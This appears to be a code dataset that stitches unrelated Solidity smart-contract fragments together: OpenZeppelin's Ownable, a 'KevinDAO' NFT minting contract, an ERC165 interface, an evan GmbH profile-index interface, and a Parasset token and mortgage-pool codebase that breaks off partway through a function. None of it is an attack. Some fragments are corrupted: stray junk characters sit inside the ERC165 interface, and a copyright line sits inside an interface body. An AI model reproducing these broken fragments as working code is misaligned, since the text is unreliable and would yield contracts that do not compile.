account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; contract KevinDAO is ERC721A, Ownable { uint256 public price = 10000000000000000; uint256 public supply = 2222; uint256 public max_per_txn = 10; string public baseURI = ""; constructor() ERC721A("KevinDAO", "KEVIN", max_per_txn, supply) {} function mint(uint256 numTokens) public payable { require(numTokens > 0 && numTokens <= max_per_txn); require(totalSupply() + numTokens <= supply); require(msg.value >= price * numTokens); _safeMint(msg.sender, numTokens); } function setBaseURI(string memory newBaseURI) public onlyOwner { baseURI = newBaseURI; } function setPrice(uint256 newPrice) public onlyOwner { price = newPrice; } function setMaxMints(uint256 newMax) public onlyOwner { max_per_txn = newMax; } function setSupply(uint256 newSupply) public onlyOwner { supply = newSupply; } function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function withdraw() public onlyOwner { require(payable(msg.sender).send(address(this).balance)); } }
Interface of the ERC165 standard, as defined in the Implementers can declare support of contract interfaces, which can then be queried by others ({ERC165Checker}). For an implementation, see {ERC165}./
interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); ░░µ░░░░░░∩∩_ }
7,626,497
./full_match/5/0x98F651F25a820c8dFfEAdF33E1Afd5d6D867B729/sources/project_/contracts/AttestationServices.sol
Checks whether an attestation exists. uuid The UUID of the attestation to retrieve. return Whether an attestation exists./
function isAddressValid(bytes32 uuid) public view returns (bool) { return _db[uuid].uuid != 0; }
7,036,845
/* Copyright (c) 2018-present evan GmbH. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.24; import "./DataStoreIndexInterface.sol"; /** @title Profile Index Contract - stores all personal profile containers */ interface ProfileIndexInterface { /**@dev tries to get the ipld hash for a given label * @param account accountid for profile * @return hash of the label */ function getProfile(address account) external constant returns (address); /**@dev transfers ownership of storage to another contract * @param newProfileIndex new profile index to hand over storage to */ function migrateTo(address newProfileIndex) external; /**@dev sets a hash for a given container label * @param _address contract address that holds the information. */ function setMyProfile(address _address) external; /**@dev sets a profile for a given account * @param account account to set profile for * @param profile contract address that holds the information. */ function setProfile(address account, address profile) external; /**@dev returns the global db for migration purposes * @return global db */ function getStorage() external constant returns (DataStoreIndexInterface); }
Profile Index Contract - stores all personal profile containers /
interface ProfileIndexInterface { function getProfile(address account) external constant returns (address); function migrateTo(address newProfileIndex) external; function setMyProfile(address _address) external; function setProfile(address account, address profile) external; function getStorage() external constant returns (DataStoreIndexInterface); Copyright (c) 2018-present evan GmbH. }
7,243,913
// File: lib/ReentrancyGuard.sol // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.6.12; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () public { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: iface/IPriceController.sol pragma solidity ^0.6.12; interface IPriceController { function getPriceForPToken(address token, address uToken, address payback) external payable returns (uint256 tokenPrice, uint256 pTokenPrice); } // File: iface/IInsurancePool.sol pragma solidity ^0.6.12; interface IInsurancePool { function setPTokenToIns(address pToken, address ins) external; function destroyPToken(address pToken, uint256 amount, address token) external; function eliminate(address pToken, address token) external; function setLatestTime(address token) external; } // File: iface/IERC20.sol pragma solidity ^0.6.12; interface IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: lib/Address.sol pragma solidity 0.6.12; library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value:amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: lib/SafeERC20.sol pragma solidity 0.6.12; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(ERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(ERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface ERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: lib/TransferHelper.sol pragma solidity ^0.6.12; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // File: iface/IPTokenFactory.sol pragma solidity ^0.6.12; interface IPTokenFactory { function getGovernance() external view returns(address); function getPTokenOperator(address contractAddress) external view returns(bool); function getPTokenAuthenticity(address pToken) external view returns(bool); } // File: iface/IParasset.sol pragma solidity ^0.6.12; interface IParasset { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function destroy(uint256 amount, address account) external; function issuance(uint256 amount, address account) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: lib/SafeMath.sol pragma solidity ^0.6.12; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } function div(uint x, uint y) internal pure returns (uint z) { require(y > 0, "ds-math-div-zero"); z = x / y; // assert(a == b * c + a % b); // There is no case in which this doesn't hold } } // File: PToken.sol pragma solidity ^0.6.12; contract PToken is IParasset { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 public _totalSupply = 0; string public name = ""; string public symbol = ""; uint8 public decimals = 18; IPTokenFactory pTokenFactory; constructor (string memory _name, string memory _symbol) public { name = _name; symbol = _symbol; pTokenFactory = IPTokenFactory(address(msg.sender)); } //---------modifier--------- modifier onlyGovernance() { require(address(msg.sender) == pTokenFactory.getGovernance(), "Log:PToken:!governance"); _; } modifier onlyPool() { require(pTokenFactory.getPTokenOperator(address(msg.sender)), "Log:PToken:!Pool"); _; } //---------view--------- // Query factory contract address function getPTokenFactory() public view returns(address) { return address(pTokenFactory); } /// @notice The view of totalSupply /// @return The total supply of ntoken function totalSupply() override public view returns (uint256) { return _totalSupply; } /// @dev The view of balances /// @param owner The address of an account /// @return The balance of the account function balanceOf(address owner) override public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) override public view returns (uint256) { return _allowed[owner][spender]; } //---------transaction--------- function changeFactory(address factory) public onlyGovernance { pTokenFactory = IPTokenFactory(address(factory)); } function transfer(address to, uint256 value) override public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) override public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) override public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function destroy(uint256 amount, address account) override external onlyPool{ require(_balances[account] >= amount, "Log:PToken:!destroy"); _balances[account] = _balances[account].sub(amount); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0x0), amount); } function issuance(uint256 amount, address account) override external onlyPool{ _balances[account] = _balances[account].add(amount); _totalSupply = _totalSupply.add(amount); emit Transfer(address(0x0), account, amount); } } // File: MortgagePool.sol pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; contract MortgagePool is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for ERC20; // Governance address address public governance; // Underlying asset address => PToken address mapping(address=>address) public underlyingToPToken; // PToken address => Underlying asset address mapping(address=>address) public pTokenToUnderlying; // PToken address => Mortgage asset address => Bool mapping(address=>mapping(address=>bool)) mortgageAllow; // PToken address => Mortgage asset address => User address => Debt data mapping(address=>mapping(address=>mapping(address=>PersonalLedger))) ledger; // PToken address => Mortgage asset address => Users who have created debt positions(address) mapping(address=>mapping(address=>address[])) ledgerArray; // Mortgage asset address => Maximum mortgage rate mapping(address=>uint256) maxRate; // Mortgage asset address => Liquidation line mapping(address=>uint256) liquidationLine; // PriceController contract IPriceController quary; // Insurance pool contract IInsurancePool insurancePool; // PToken creation factory contract IPTokenFactory pTokenFactory; // Market base interest rate uint256 r0 = 0.02 ether; // Amount of blocks produced in a year uint256 oneYear = 2400000; // Status uint8 public flag; // = 0: pause // = 1: active // = 2: out only struct PersonalLedger { uint256 mortgageAssets; // Amount of mortgaged assets uint256 parassetAssets; // Amount of debt(Ptoken,Stability fee not included) uint256 blockHeight; // The block height of the last operation uint256 rate; // Mortgage rate(Initial mortgage rate,Mortgage rate after the last operation) bool created; // Is it created } event FeeValue(address pToken, uint256 value); /// @dev Initialization method /// @param factoryAddress PToken creation factory contract constructor (address factoryAddress) public { pTokenFactory = IPTokenFactory(factoryAddress); governance = pTokenFactory.getGovernance(); flag = 0; } //---------modifier--------- modifier onlyGovernance() { require(msg.sender == governance, "Log:MortgagePool:!gov"); _; } modifier whenActive() { require(flag == 1, "Log:MortgagePool:!active"); _; } modifier outOnly() { require(flag != 0, "Log:MortgagePool:!0"); _; } //---------view--------- /// @dev Calculate the stability fee /// @param parassetAssets Amount of debt(Ptoken,Stability fee not included) /// @param blockHeight The block height of the last operation /// @param rate Mortgage rate(Initial mortgage rate,Mortgage rate after the last operation) /// @param nowRate Current mortgage rate (not including stability fee) /// @return fee function getFee(uint256 parassetAssets, uint256 blockHeight, uint256 rate, uint256 nowRate) public view returns(uint256) { uint256 topOne = parassetAssets.mul(r0).mul(block.number.sub(blockHeight)); uint256 ratePlus = rate.add(nowRate); uint256 topTwo = parassetAssets.mul(r0).mul(block.number.sub(blockHeight)).mul(uint256(3).mul(ratePlus)); uint256 bottom = oneYear.mul(1 ether); return topOne.div(bottom).add(topTwo.div(bottom.mul(1 ether).mul(2))); } /// @dev Calculate the mortgage rate /// @param mortgageAssets Amount of mortgaged assets /// @param parassetAssets Amount of debt /// @param tokenPrice Mortgage asset price(1 ETH = ? token) /// @param pTokenPrice PToken price(1 ETH = ? pToken) /// @return mortgage rate function getMortgageRate(uint256 mortgageAssets, uint256 parassetAssets, uint256 tokenPrice, uint256 pTokenPrice) public pure returns(uint256) { if (mortgageAssets == 0 || pTokenPrice == 0) { return 0; } return parassetAssets.mul(tokenPrice).mul(1 ether).div(pTokenPrice.mul(mortgageAssets)); } /// @dev Get real-time data of the current debt warehouse /// @param mortgageToken Mortgage asset address /// @param pToken PToken address /// @param tokenPrice Mortgage asset price(1 ETH = ? token) /// @param uTokenPrice Underlying asset price(1 ETH = ? Underlying asset) /// @param maxRateNum Maximum mortgage rate /// @param owner Debt owner /// @return fee Stability fee /// @return mortgageRate Real-time mortgage rate(Including stability fee) /// @return maxSubM The maximum amount of mortgage assets can be reduced /// @return maxAddP Maximum number of coins that can be added function getInfoRealTime(address mortgageToken, address pToken, uint256 tokenPrice, uint256 uTokenPrice, uint256 maxRateNum, uint256 owner) public view returns(uint256 fee, uint256 mortgageRate, uint256 maxSubM, uint256 maxAddP) { PersonalLedger memory pLedger = ledger[pToken][mortgageToken][address(owner)]; if (pLedger.mortgageAssets == 0 && pLedger.parassetAssets == 0) { return (0,0,0,0); } uint256 pTokenPrice = getDecimalConversion(pTokenToUnderlying[pToken], uTokenPrice, pToken); uint256 tokenPriceAmount = tokenPrice; fee = getFee(pLedger.parassetAssets, pLedger.blockHeight, pLedger.rate, getMortgageRate(pLedger.mortgageAssets, pLedger.parassetAssets, tokenPriceAmount, pTokenPrice)); mortgageRate = getMortgageRate(pLedger.mortgageAssets, pLedger.parassetAssets.add(fee), tokenPriceAmount, pTokenPrice); uint256 maxRateEther = maxRateNum.mul(0.01 ether); if (mortgageRate >= maxRateEther) { maxSubM = 0; maxAddP = 0; } else { maxSubM = pLedger.mortgageAssets.sub(pLedger.parassetAssets.mul(tokenPriceAmount).mul(1 ether).div(maxRateEther.mul(pTokenPrice))); maxAddP = pLedger.mortgageAssets.mul(pTokenPrice).mul(maxRateEther).div(uint256(1 ether).mul(tokenPriceAmount)).sub(pLedger.parassetAssets); } } /// @dev Uniform accuracy /// @param inputToken Initial token /// @param inputTokenAmount Amount of token /// @param outputToken Converted token /// @return stability Amount of outputToken function getDecimalConversion(address inputToken, uint256 inputTokenAmount, address outputToken) public view returns(uint256) { uint256 inputTokenDec = 18; uint256 outputTokenDec = 18; if (inputToken != address(0x0)) { inputTokenDec = IERC20(inputToken).decimals(); } if (outputToken != address(0x0)) { outputTokenDec = IERC20(outputToken).decimals(); } return inputTokenAmount.mul(10**outputTokenDec).div(10**inputTokenDec); } /// @dev View debt warehouse data /// @param pToken pToken address /// @param mortgageToken mortgage asset address /// @param owner debt owner /// @return mortgageAssets amount of mortgaged assets /// @return parassetAssets amount of debt(Ptoken,Stability fee not included) /// @return blockHeight the block height of the last operation /// @return rate Mortgage rate(Initial mortgage rate,Mortgage rate after the last operation) /// @return created is it created function getLedger(address pToken, address mortgageToken, address owner) public view returns(uint256 mortgageAssets, uint256 parassetAssets, uint256 blockHeight, uint256 rate, bool created) { PersonalLedger memory pLedger = ledger[pToken][mortgageToken][address(owner)]; return (pLedger.mortgageAssets, pLedger.parassetAssets, pLedger.blockHeight, pLedger.rate, pLedger.created); } /// @dev View governance address /// @return governance address function getGovernance() external view returns(address) { return governance; } /// @dev View insurance pool address /// @return insurance pool address function getInsurancePool() external view returns(address) { return address(insurancePool); } /// @dev View the market base interest rate /// @return market base interest rate function getR0() external view returns(uint256) { return r0; } /// @dev View the amount of blocks produced in a year /// @return amount of blocks produced in a year function getOneYear() external view returns(uint256) { return oneYear; } /// @dev View the maximum mortgage rate /// @param mortgageToken Mortgage asset address /// @return maximum mortgage rate function getMaxRate(address mortgageToken) external view returns(uint256) { return maxRate[mortgageToken]; } /// @dev View the liquidation line /// @param mortgageToken Mortgage asset address /// @return liquidation line function getLiquidationLine(address mortgageToken) external view returns(uint256) { return liquidationLine[mortgageToken]; } /// @dev View the priceController contract address /// @return priceController contract address function getPriceController() external view returns(address) { return address(quary); } /// @dev View the ptoken address according to the underlying asset /// @param uToken Underlying asset address /// @return ptoken address function getUnderlyingToPToken(address uToken) external view returns(address) { return underlyingToPToken[uToken]; } /// @dev View the underlying asset according to the ptoken address /// @param pToken ptoken address /// @return underlying asset function getPTokenToUnderlying(address pToken) external view returns(address) { return pTokenToUnderlying[pToken]; } /// @dev View the debt array length /// @param pToken ptoken address /// @param mortgageToken mortgage asset address /// @return debt array length function getLedgerArrayNum(address pToken, address mortgageToken) external view returns(uint256) { return ledgerArray[pToken][mortgageToken].length; } /// @dev View the debt owner /// @param pToken ptoken address /// @param mortgageToken mortgage asset address /// @param index array subscript /// @return debt owner function getLedgerAddress(address pToken, address mortgageToken, uint256 index) external view returns(address) { return ledgerArray[pToken][mortgageToken][index]; } //---------governance---------- /// @dev Set contract status /// @param num 0: pause, 1: active, 2: out only function setFlag(uint8 num) public onlyGovernance { flag = num; } /// @dev Allow asset mortgage to generate ptoken /// @param pToken ptoken address /// @param mortgageToken mortgage asset address /// @param allow allow mortgage function setMortgageAllow(address pToken, address mortgageToken, bool allow) public onlyGovernance { mortgageAllow[pToken][mortgageToken] = allow; } /// @dev Set insurance pool contract /// @param add insurance pool contract function setInsurancePool(address add) public onlyGovernance { insurancePool = IInsurancePool(add); } /// @dev Set market base interest rate /// @param num market base interest rate(num = ? * 1 ether) function setR0(uint256 num) public onlyGovernance { r0 = num; } /// @dev Set the amount of blocks produced in a year /// @param num amount of blocks produced in a year function setOneYear(uint256 num) public onlyGovernance { oneYear = num; } /// @dev Set liquidation line /// @param mortgageToken mortgage asset address /// @param num liquidation line(num = ? * 100) function setLiquidationLine(address mortgageToken, uint256 num) public onlyGovernance { liquidationLine[mortgageToken] = num.mul(0.01 ether); } /// @dev Set the maximum mortgage rate /// @param mortgageToken mortgage asset address /// @param num maximum mortgage rate(num = ? * 100) function setMaxRate(address mortgageToken, uint256 num) public onlyGovernance { maxRate[mortgageToken] = num.mul(0.01 ether); } /// @dev Set priceController contract address /// @param add priceController contract address function setPriceController(address add) public onlyGovernance { quary = IPriceController(add); } /// @dev Set the underlying asset and ptoken mapping and /// Set the latest redemption time of ptoken insurance /// @param uToken underlying asset address /// @param pToken ptoken address function setInfo(address uToken, address pToken) public onlyGovernance { require(underlyingToPToken[uToken] == address(0x0), "Log:MortgagePool:underlyingToPToken"); require(address(insurancePool) != address(0x0), "Log:MortgagePool:0x0"); underlyingToPToken[uToken] = address(pToken); pTokenToUnderlying[address(pToken)] = uToken; insurancePool.setLatestTime(uToken); } //---------transaction--------- /// @dev Set governance address function setGovernance() public { governance = pTokenFactory.getGovernance(); require(governance != address(0x0), "Log:MortgagePool:0x0"); } /// @dev Mortgage asset casting ptoken /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param amount amount of mortgaged assets /// @param rate custom mortgage rate function coin(address mortgageToken, address pToken, uint256 amount, uint256 rate) public payable whenActive nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); require(rate > 0 && rate <= maxRate[mortgageToken], "Log:MortgagePool:rate!=0"); require(amount > 0, "Log:MortgagePool:amount!=0"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][address(msg.sender)]; uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; // Get the price and transfer to the mortgage token uint256 tokenPrice; uint256 pTokenPrice; if (mortgageToken != address(0x0)) { ERC20(mortgageToken).safeTransferFrom(address(msg.sender), address(this), amount); (tokenPrice, pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], msg.value); } else { require(msg.value >= amount, "Log:MortgagePool:!msg.value"); (tokenPrice, pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], uint256(msg.value).sub(amount)); } // Calculate the stability fee uint256 blockHeight = pLedger.blockHeight; uint256 fee = 0; if (parassetAssets > 0 && block.number > blockHeight && blockHeight != 0) { fee = getFee(parassetAssets, blockHeight, pLedger.rate, getMortgageRate(mortgageAssets, parassetAssets, tokenPrice, pTokenPrice)); // The stability fee is transferred to the insurance pool ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), fee); // Eliminate negative accounts insurancePool.eliminate(pToken, pTokenToUnderlying[pToken]); emit FeeValue(pToken, fee); } // Additional ptoken issuance uint256 pTokenAmount = amount.mul(pTokenPrice).mul(rate).div(tokenPrice.mul(100)); PToken(pToken).issuance(pTokenAmount, address(msg.sender)); // Update debt information pLedger.mortgageAssets = mortgageAssets.add(amount); pLedger.parassetAssets = parassetAssets.add(pTokenAmount); pLedger.blockHeight = block.number; pLedger.rate = getMortgageRate(pLedger.mortgageAssets, pLedger.parassetAssets, tokenPrice, pTokenPrice); // Tag created if (pLedger.created == false) { ledgerArray[pToken][mortgageToken].push(address(msg.sender)); pLedger.created = true; } } /// @dev Increase mortgage assets /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param amount amount of mortgaged assets function supplement(address mortgageToken, address pToken, uint256 amount) public payable outOnly nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); require(amount > 0, "Log:MortgagePool:!amount"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][address(msg.sender)]; uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; require(pLedger.created, "Log:MortgagePool:!created"); // Get the price and transfer to the mortgage token uint256 tokenPrice; uint256 pTokenPrice; if (mortgageToken != address(0x0)) { ERC20(mortgageToken).safeTransferFrom(address(msg.sender), address(this), amount); (tokenPrice, pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], msg.value); } else { require(msg.value >= amount, "Log:MortgagePool:!msg.value"); (tokenPrice, pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], uint256(msg.value).sub(amount)); } // Calculate the stability fee uint256 blockHeight = pLedger.blockHeight; uint256 fee = 0; if (parassetAssets > 0 && block.number > blockHeight && blockHeight != 0) { fee = getFee(parassetAssets, blockHeight, pLedger.rate, getMortgageRate(mortgageAssets, parassetAssets, tokenPrice, pTokenPrice)); // The stability fee is transferred to the insurance pool ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), fee); // Eliminate negative accounts insurancePool.eliminate(pToken, pTokenToUnderlying[pToken]); emit FeeValue(pToken, fee); } // Update debt information pLedger.mortgageAssets = mortgageAssets.add(amount); pLedger.blockHeight = block.number; pLedger.rate = getMortgageRate(pLedger.mortgageAssets, parassetAssets, tokenPrice, pTokenPrice); } /// @dev Reduce mortgage assets /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param amount amount of mortgaged assets function decrease(address mortgageToken, address pToken, uint256 amount) public payable outOnly nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][address(msg.sender)]; uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; require(amount > 0 && amount <= mortgageAssets, "Log:MortgagePool:!amount"); require(pLedger.created, "Log:MortgagePool:!created"); // Get the price (uint256 tokenPrice, uint256 pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], msg.value); // Calculate the stability fee uint256 blockHeight = pLedger.blockHeight; uint256 fee = 0; if (parassetAssets > 0 && block.number > blockHeight && blockHeight != 0) { fee = getFee(parassetAssets, blockHeight, pLedger.rate, getMortgageRate(mortgageAssets, parassetAssets, tokenPrice, pTokenPrice)); // The stability fee is transferred to the insurance pool ERC20(pToken).safeTransferFrom(address(msg.sender), address(insurancePool), fee); // Eliminate negative accounts insurancePool.eliminate(pToken, pTokenToUnderlying[pToken]); emit FeeValue(pToken, fee); } // Update debt information pLedger.mortgageAssets = mortgageAssets.sub(amount); pLedger.blockHeight = block.number; pLedger.rate = getMortgageRate(pLedger.mortgageAssets, parassetAssets, tokenPrice, pTokenPrice); // The debt warehouse mortgage rate cannot be greater than the maximum mortgage rate require(pLedger.rate <= maxRate[mortgageToken], "Log:MortgagePool:!maxRate"); // Transfer out mortgage assets if (mortgageToken != address(0x0)) { ERC20(mortgageToken).safeTransfer(address(msg.sender), amount); } else { TransferHelper.safeTransferETH(address(msg.sender), amount); } } /// @dev Increase debt (increase coinage) /// @param mortgageToken mortgage asset address /// @param pToken ptoken address /// @param amount amount of debt function increaseCoinage(address mortgageToken, address pToken, uint256 amount) public payable whenActive nonReentrant { require(mortgageAllow[pToken][mortgageToken], "Log:MortgagePool:!mortgageAllow"); require(amount > 0, "Log:MortgagePool:!amount"); PersonalLedger storage pLedger = ledger[pToken][mortgageToken][address(msg.sender)]; uint256 parassetAssets = pLedger.parassetAssets; uint256 mortgageAssets = pLedger.mortgageAssets; require(pLedger.created, "Log:MortgagePool:!created"); // Get the price (uint256 tokenPrice, uint256 pTokenPrice) = getPriceForPToken(mortgageToken, pTokenToUnderlying[pToken], msg.value); // Calculate the stability fee uint256 blockHeight = pLedger.blockHeight; uint256 fee = 0; if (parassetAssets > 0 && block.number > blockHeight && blockHeight != 0) { fee = getFee(parassetAssets, blockHeight, pLedger.rate, 